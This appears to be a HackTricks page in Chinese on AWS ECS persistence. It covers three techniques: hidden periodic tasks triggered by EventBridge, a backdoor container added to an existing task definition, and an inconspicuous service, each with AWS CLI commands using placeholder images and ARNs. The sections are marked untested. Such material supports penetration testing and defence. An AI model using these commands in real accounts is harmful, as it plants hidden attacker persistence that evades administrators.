AWS - ECS Persistence

支持HackTricks

ECS

有关更多信息,请查看:

AWS - ECS Enum

隐藏的周期性ECS任务

待办事项:测试

攻击者可以使用Amazon EventBridge创建一个隐藏的周期性ECS任务,定期调度执行恶意任务。该任务可以执行侦察、数据外泄或在AWS账户中保持持久性。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

在现有ECS任务定义中添加后门容器

TODO: 测试

攻击者可以在现有的ECS任务定义中添加一个隐秘后门容器,该容器与合法容器一起运行。后门容器可用于持久性和执行恶意活动。

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

未记录的 ECS 服务

TODO: 测试

攻击者可以创建一个运行恶意任务的未记录的 ECS 服务。通过将所需任务数量设置为最小值并禁用日志记录,管理员更难注意到恶意服务。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
支持 HackTricks

Last updated